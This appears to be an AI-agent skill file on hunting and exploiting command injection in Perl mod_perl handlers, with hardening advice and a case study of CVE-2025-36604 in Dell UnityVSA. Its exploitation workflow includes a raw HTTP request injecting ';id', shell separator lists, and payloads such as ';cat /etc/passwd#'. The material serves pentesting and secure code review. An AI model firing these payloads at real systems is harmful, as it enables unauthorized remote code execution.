Hacktricks-skills perl-modperl-rce-hunter
Use this skill whenever analyzing Perl code for command injection vulnerabilities, especially in Apache mod_perl handlers, web applications with Perl backends, or when hunting for RCE through shell execution sinks like backticks, qx//, system(), or open() with pipes. Trigger this skill for any security review of Perl web code, pentesting Perl-based applications, or when investigating potential pre-auth RCE in mod_perl environments.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/perl-tricks/SKILL.MDPerl mod_perl RCE Hunter
A skill for identifying and exploiting command injection vulnerabilities in Perl code running in Apache mod_perl handlers.
When to Use This Skill
Use this skill when:
- Reviewing Perl code for security vulnerabilities
- Pentesting web applications with Perl backends
- Investigating potential RCE in mod_perl handlers
- Analyzing Apache configurations with PerlModule directives
- Hunting for command injection through shell execution sinks
- Assessing pre-authentication attack surfaces in Perl web handlers
Risky Perl Execution Primitives
These Perl constructs spawn a shell when given a single string argument:
| Primitive | Example | Risk |
|---|---|---|
| Backticks / qx// | cmd ... | High - direct shell execution |
| system() with string | | High - implicit shell |
| open() with pipe | | High - shell pipe |
| IPC::Open3 with string | | High - shell execution |
Vulnerability Pattern Recognition
Minimal Vulnerable Shape
sub getCASURL { ... my $exec_cmd = "..."; if ($type eq 'login') { $exec_cmd .= $uri; # $uri from $r->uri() → attacker-controlled my $out = `$exec_cmd`; # backticks = shell } }
Key indicators:
- Attacker-controlled input (e.g.,
,$r->uri()
,$r->args()
)$r->header_in() - String concatenation into command variable
- Shell execution primitive with single string argument
- Inconsistent sanitization across code branches
Reachability Considerations in mod_perl
For a vulnerability to be exploitable:
-
Handler registration:
must route requests to the Perl modulehttpd.confPerlModule MOD_SEC_EMC::AccessHandler <Location /ui/> PerlHandler MOD_SEC_EMC::AccessHandler::handler </Location> -
Triggering the vulnerable branch: Force execution through the vulnerable code path
- Omit authentication cookies to trigger login flow
- Set specific parameters to hit conditional branches
-
Resolvable path: Request must target a URI within the configured handler scope
Exploitation Workflow
Step 1: Reconnaissance
# Find Perl modules in Apache config grep -r "PerlModule\|PerlHandler" /etc/httpd/conf/ # Identify handler scopes grep -A5 "PerlHandler" /etc/httpd/conf.d/*.conf
Step 2: Identify Entry Points
Look for request data flowing into command strings:
- request URI path$r->uri()
- query string$r->args()
- custom headers$r->header_in("X-Custom")
- path info$r->path_info()
Step 3: Craft Payloads
Path injection via semicolon:
GET /ui/health;id HTTP/1.1 Host: target Connection: close
Alternative separators to try:
- command separator;
- AND operator&&
- pipe|
- command substitution`backticks`
- command substitution$(...)
- encoded newline%0A
Payload patterns for end-of-string injection:
;id# &&/usr/bin/id# |whoami# ;cat /etc/passwd#
Step 4: Verify Execution
Look for:
- Command output in HTTP response
- Unexpected headers
- Side effects (file creation, network connections)
- Error messages revealing command structure
Hardening Recommendations
1. Use Argument-Vector Execution
Vulnerable:
my $out = `curl $url`;
Secure:
use IPC::Open3; my $pid = open3($in, $out, $err, 'curl', '--silent', '--', $safe_url);
Or with system:
system('/usr/bin/curl', '--silent', '--', $safe_url); # No shell
2. Consistent Sanitization Across All Branches
# BAD - inconsistent quoting if ($type eq 'login') { $exec_cmd .= $uri; # Unescaped! } else { $exec_cmd .= escape($uri); # Escaped } # GOOD - consistent escaping use URI::Escape; $exec_cmd .= uri_escape($uri);
3. Avoid Shell Execution in Auth/Redirect Paths
Keep authentication and redirect code paths free of command execution, or ensure identical sanitization across all branches.
4. Use Allowlists for Command Components
my %allowed_commands = ( 'curl' => 1, 'wget' => 1, 'ping' => 1, ); if (exists $allowed_commands{$cmd}) { system($cmd, @args); # Safe - no shell }
Vulnerability Hunting Techniques
1. Patch-Diff Analysis
Compare patched vs. vulnerable versions:
diff -u vulnerable.pm patched.pm | grep -A3 -B3 "uri\|input\|request"
Look for:
- Inconsistent quoting between branches
- Added escaping in one path but not others
- Conditional logic changes around command execution
2. Grep Patterns for Shell Sinks
# Find backticks grep -rn "\`[^\`]*\`" *.pm # Find qx// grep -rn "qx\[\|qx\(\|qx\{\|qx/" *.pm # Find open with pipes grep -rn "open.*\|\|open.*\|" *.pm # Find system with strings grep -rn "system\s*\(\s*\"" *.pm
3. Build Call Graphs
Trace from sink to request entry:
- Find all shell execution sinks
- Backtrack variable assignments
- Identify request data sources (
)$r->* - Verify pre-authentication reachability
4. Check for Branch-Specific Vulnerabilities
# Look for patterns like: if ($type eq 'login') { ... } if ($action eq 'redirect') { ... } if ($mode eq 'debug') { ... }
Each branch may have different sanitization levels.
Real-World Case Study: CVE-2025-36604
Dell UnityVSA Pre-Auth RCE
Vulnerability chain:
MOD_SEC_EMC::AccessHandler → make_return_address($r) → getCASLoginURL(..., type="login") → getCASURL(..., $uri, 'login') → `$exec_cmd` (backticks with raw $uri)
Key lessons:
- Pre-auth vulnerabilities are highest severity
- Branch-specific sanitization is a common failure mode
- Handler scope configuration affects exploitability
- Patch diffs reveal inconsistent fixes
Quick Reference
Shell Metacharacters to Test
| Character | Purpose | Example |
|---|---|---|
| Command separator | |
| AND operator | |
| Pipe | |
| Backticks | |
| Command substitution | |
| Newline | |
| Comment | |
Common mod_perl Request Methods
- Full URI path$r->uri()
- Path component$r->path()
- Query string$r->args()
- Request header$r->header_in("X")
- POST body$r->content()
- Authenticated user$r->user()